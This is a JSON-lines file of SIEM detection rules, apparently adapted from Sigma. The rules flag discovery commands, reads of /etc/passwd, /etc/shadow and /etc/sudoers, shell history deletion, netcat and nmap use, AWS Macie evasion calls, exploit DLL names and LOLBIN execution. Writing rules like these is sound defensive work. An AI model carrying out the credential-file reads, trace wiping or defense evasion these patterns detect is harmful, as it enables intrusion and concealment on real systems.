{"description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", "enabled": false, "false_positives": ["AWS Config or other configuration scanning activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "716ab89a-0223-5e0b-6ae2-866291765ddd", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Account Enumeration on AWS", "query": "eventName:list*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1592"], "to": "now", "type": "threshold", "threat": [], "version": 1, "threshold": {"field": [], "value": 51}, "references": [""], "timestamp_override": "event.ingested", "author": ["toffeebr33k"], "license": ""}
{"description": "Detects enumeration of local network configuration", "author": ["remotephone", "oscd.community"], "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e523cf9a-96ca-7433-03ee-c93142665e0c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Network Discovery - macOS", "query": "((process.executable.text:(*\\/netstat OR *\\/ifconfig OR *\\/socketfilterfw OR *\\/networksetup OR *\\/arp)) OR ((process.executable.text:\"/usr/bin/defaults\" AND process.command_line.text:*read* AND process.command_line.text:*\\/Library\\/Preferences\\/com.apple.alf*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1016"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects enumeration of local network configuration", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9332d5a9-3f2c-a834-4e37-3a624f48f409", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Network Discovery - Linux", "query": "(process.executable.text:(*\\/firewall\\-cmd OR *\\/ufw OR *\\/iptables OR *\\/netstat OR *\\/ss OR *\\/ip OR *\\/ifconfig OR *\\/systemd\\-resolve OR *\\/route) OR process.command_line.text:*\\/etc\\/resolv.conf*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1016"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal and remotephone", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local or remote network services.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "048881ff-1d3d-bc0c-9752-d47c682a4153", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Linux Network Service Scanning", "query": "(type:\"SYSCALL\" AND exe:(*\\/telnet OR *\\/nmap OR *\\/netcat OR *\\/nc) AND key:\"network_connect_4\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1046"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local or remote network services.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "048881ff-1d3d-bc0c-9752-d47c682a4153", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Linux Network Service Scanning", "query": "((process.executable.text:(*\\/nc OR *\\/netcat) AND (NOT (process.command_line.text:*l*))) OR process.executable.text:(*\\/telnet OR *\\/nmap))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1046"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local or remote network services.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9d7728c3-04ad-c5f8-0dd3-8452615a8bc1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "MacOS Network Service Scanning", "query": "((process.executable:(*\\/nc OR *\\/netcat) AND (NOT (process.command_line:*l*))) OR process.executable:(*\\/nmap OR *\\/telnet))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1046"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Scanning", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local systeam accounts on MacOS", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b0824391-4881-8dae-6946-55eb781ec5a7", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Local System Accounts Discovery", "query": "((process.executable:*\\/dscl AND process.command_line:*list* AND process.command_line:*\\/users*) OR (process.executable:*\\/dscacheutil AND process.command_line:*\\-q* AND process.command_line:*user*) OR process.command_line:*'x\\:0\\:'* OR (process.executable:*\\/cat AND process.command_line:(*\\/etc\\/passwd* OR *\\/etc\\/sudoers*)) OR process.executable:*\\/id OR (process.executable:*\\/lsof AND process.command_line:*\\-u*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b0824391-4881-8dae-6946-55eb781ec5a7", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Local System Accounts Discovery", "query": "(process.executable.text:*\\/lastlog OR process.command_line.text:*'x\\:0\\:'* OR (process.executable.text:(*\\/cat OR *\\/head OR *\\/tail OR *\\/more) AND process.command_line.text:(*\\/etc\\/passwd* OR *\\/etc\\/shadow* OR *\\/etc\\/sudoers*)) OR process.executable.text:*\\/id OR (process.executable.text:*\\/lsof AND process.command_line.text:*\\-u*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local system groups", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7f05c3db-6ec2-ac33-3100-1c1b4daf689a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Local Groups Discovery", "query": "((process.executable:*\\/dscacheutil AND process.command_line:*\\-q* AND process.command_line:*group*) OR (process.executable:*\\/cat AND process.command_line:*\\/etc\\/group*) OR (process.executable:*\\/dscl AND process.command_line:*\\-list* AND process.command_line:*\\/groups*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7f05c3db-6ec2-ac33-3100-1c1b4daf689a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Local Groups Discovery", "query": "(process.executable.text:*\\/groups OR (process.executable.text:(*\\/cat OR *\\/head OR *\\/tail OR *\\/more) AND process.command_line.text:*\\/etc\\/group*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", "enabled": false, "false_positives": ["Exclude known DCs."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bdf2c316-3f5e-5b33-f60b-46d3b17a1d3b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Enumeration via the Global Catalog", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5156\" AND DestPort:(\"3268\" OR \"3269\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1087"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "threshold": {"field": "SourceAddress", "value": 2001}, "references": [""], "timestamp_override": "event.ingested", "author": ["Chakib Gzenayi (@Chak092)", "Hosni Mribah"], "license": ""}
{"description": "Detects evade to Macie detection.", "enabled": false, "false_positives": ["System or Network administrator behaviors"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "afdde413-cf18-0a3f-3256-04eba06f5133", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS Macie Evasion", "query": "eventName:(\"ArchiveFindings\" OR \"CreateFindingsFilter\" OR \"DeleteMember\" OR \"DisassociateFromMasterAccount\" OR \"DisassociateMember\" OR \"DisableMacie\" OR \"DisableOrganizationAdminAccount\" OR \"UpdateFindingsFilter\" OR \"UpdateMacieSession\" OR \"UpdateMemberSession\" OR \"UpdateClassificationJob\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "threshold": {"field": "sourceIPAddress", "value": 6}, "references": [""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability). Unfortunately, that is about the only instance of CVEs being written to this log.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "db05d79f-6d5a-411d-1194-cd6515e49995", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Audit CVE Event", "query": "(winlog.channel:\"Application\" AND Provider_Name:(\"Microsoft\\-Windows\\-Audit\\-CVE\" OR \"Audit\\-CVE\") AND winlog.event_id:\"1\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "Defense Evasion", "Lateral Movement", "Privilege Escalation", "T1068", "T1203", "T1210", "T1211", "T1212", "T1499"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1211", "name": "Exploitation for Defense Evasion", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1212", "name": "Exploitation for Credential Access", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1499", "name": "Endpoint Denial of Service", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Zach Mathis"], "license": ""}
{"description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "34396698-a159-f2a1-70cf-6abe097c3839", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "History File Deletion", "query": "(process.executable.text:(*\\/rm OR *\\/unlink OR *\\/shred) AND (process.command_line.text:(*\\/.bash_history* OR *\\/.zsh_history*) OR process.command_line.text:(*_history OR *.history OR *zhistory)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d04f6190-c1ea-8ee6-4781-a71b607e7662", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Print History File Contents", "query": "(process.executable.text:(*\\/cat OR *\\/head OR *\\/tail OR *\\/more) AND (process.command_line.text:(*\\/.bash_history* OR *\\/.zsh_history*) OR process.command_line.text:(*_history OR *.history OR *zhistory)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1592"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0043", "reference": "", "name": "Reconnaissance"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1592", "name": "Gather Victim Host Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", "enabled": false, "false_positives": ["Problems with printer drivers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "591ecd76-c6e7-f977-d3b5-9141b98ac725", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible CVE-2021-1675 Print Spooler Exploitation", "query": "(((winlog.event_id:(\"808\" OR \"4909\") AND ErrorCode:(\"0x45A\" OR \"0x7e\")) OR (*The\\ print\\ spooler\\ failed\\ to\\ load\\ a\\ plug\\-in\\ module* OR *MyExploit.dll* OR *evil.dll* OR *\\\\addCube.dll* OR *\\\\rev.dll* OR *\\\\rev2.dll* OR *\\\\main64.dll* OR *\\\\mimilib.dll* OR *\\\\mimispool.dll*)) AND (NOT (*\\ registration\\ timed\\ out*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "KevTheHermit", "fuzzyf10w", "Tim Shelton"], "license": ""}
{"description": "Detects events that appear when a user click on a link file with a powershell command in it", "enabled": false, "false_positives": ["Legitimate commands in .lnk files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "72551f53-c247-05e8-f57a-0335959d3922", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Hidden Powershell in Link File Pattern", "query": "(process.parent.executable:\"C\\:\\\\Windows\\\\explorer.exe\" AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\cmd.exe\" AND process.command_line:*powershell* AND process.command_line:*.lnk*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.", "author": ["Nasreddine Bencherchali", "E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "enabled": false, "false_positives": ["Legitimate use by a via a batch script or by an administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b0c3c10f-685b-466d-8863-c416a59fec18", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Pcalua For Execution", "query": "(process.executable.text:*\\\\pcalua.exe AND process.command_line.text:*\\ \\-a*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon ", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "5578794b-70a5-63e0-1f7d-186d1a1435b5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Executable from Webdav", "query": "(event.dataset:\"http\" AND (user_agent.original:*WebDAV* OR url.original:*webdav*) AND (http.resp_mime_types:*dosexec* OR url.original:*.exe))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["SOC Prime", "Adam Swan"], "license": ""}
{"description": "Detects executable downloads from suspicious remote systems", "author": ["Florian Roth"], "enabled": false, "false_positives": ["All kind of software downloads"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "60ba60fc-e889-d7a4-c958-ec70e8e821a0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Download From Suspicious TLD - Whitelist", "query": "(url.extension:(\"exe\" OR \"vbs\" OR \"bat\" OR \"rar\" OR \"ps1\" OR \"doc\" OR \"docm\" OR \"xls\" OR \"xlsm\" OR \"pptm\" OR \"rtf\" OR \"hta\" OR \"dll\" OR \"ws\" OR \"wsf\" OR \"sct\" OR \"zip\") AND (NOT ((destination.domain:(*.com OR *.org OR *.net OR *.edu OR *.gov OR *.uk OR *.ca OR *.de OR *.jp OR *.fr OR *.au OR *.us OR *.ch OR *.it OR *.nl OR *.se OR *.no OR *.es)) OR (url.domain:(*.com OR *.org OR *.net OR *.edu OR *.gov OR *.uk OR *.ca OR *.de OR *.jp OR *.fr OR *.au OR *.us OR *.ch OR *.it OR *.nl OR *.se OR *.no OR *.es)))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Initial Access", "T1203", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc3f4559-1e9e-e89b-f3ad-27886e2399ab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious File Characteristics Due to Missing Fields", "query": "(winlog.event_data.Description:\"\\?\" AND (FileVersion:\"\\?\" OR Product:\"\\?\" OR Company:\"\\?\") AND process.executable.text:*\\\\Downloads\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "Sander Wiebing"], "license": ""}
{"description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0701cbf2-73dc-67f5-fa13-c441ba2a34a8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Lazarus Session Highjacker", "query": "(process.executable:(*\\\\msdtc.exe OR *\\\\gpvc.exe) AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Trent Liffick (@tliffick)", "Bartlomiej Czyz (@bczyz1)"], "license": ""}
{"description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "236abcb1-4a13-2ac8-71b4-f3d437f51d26", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Git Clone - Linux", "query": "(process.executable.text:*\\/git AND process.command_line.text:*\\ clone\\ * AND process.command_line.text:(*exploit* OR *Vulns* OR *vulnerability* OR *RCE* OR *RemoteCodeExecution* OR *Invoke\\-* OR *CVE\\-* OR *poc\\-* OR *ProofOfConcept* OR *proxyshell* OR *log4shell* OR *eternalblue* OR *eternal\\-blue* OR *MS17\\-*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1593"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0043", "reference": "", "name": "Reconnaissance"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1593", "name": "Search Open Websites/Domains", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0fd2c49f-3ec5-d878-8497-a86b675293ef", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Git Clone", "query": "(((process.executable.text:(*\\\\git.exe OR *\\\\git\\-remote\\-https.exe)) OR (winlog.event_data.OriginalFileName:\"git.exe\")) AND process.command_line.text:(*\\ clone\\ * OR *git\\-remote\\-https\\ *) AND process.command_line.text:(*exploit* OR *Vulns* OR *vulnerability* OR *RemoteCodeExecution* OR *Invoke\\-* OR *CVE\\-* OR *poc\\-* OR *ProofOfConcept* OR *proxyshell* OR *log4shell* OR *eternalblue* OR *eternal\\-blue* OR *MS17\\-*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1593"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0043", "reference": "", "name": "Reconnaissance"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1593", "name": "Search Open Websites/Domains", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", "enabled": false, "false_positives": ["Possible undocumented parents of \"msdt\" other than \"pcwrun\""], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9cadf966-bbd3-8f8c-1806-8e3169becd54", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execute MSDT Via Answer File", "query": "((process.executable:*\\\\msdt.exe AND process.command_line:*\\\\WINDOWS\\\\diagnostics\\\\index\\\\PCWDiagnostic.xml* AND process.command_line:(*\\ \\-af\\ * OR *\\ \\/af\\ *)) AND (NOT (process.parent.executable:*\\\\pcwrun.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bfb38b88-14f9-6d6f-da0a-d113517e2dba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Add SafeBoot Keys Via Reg Utility", "query": "((process.executable.text:*reg.exe OR winlog.event_data.OriginalFileName:\"reg.exe\") AND process.command_line.text:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot* AND process.command_line.text:(*\\ copy\\ * OR *\\ add\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
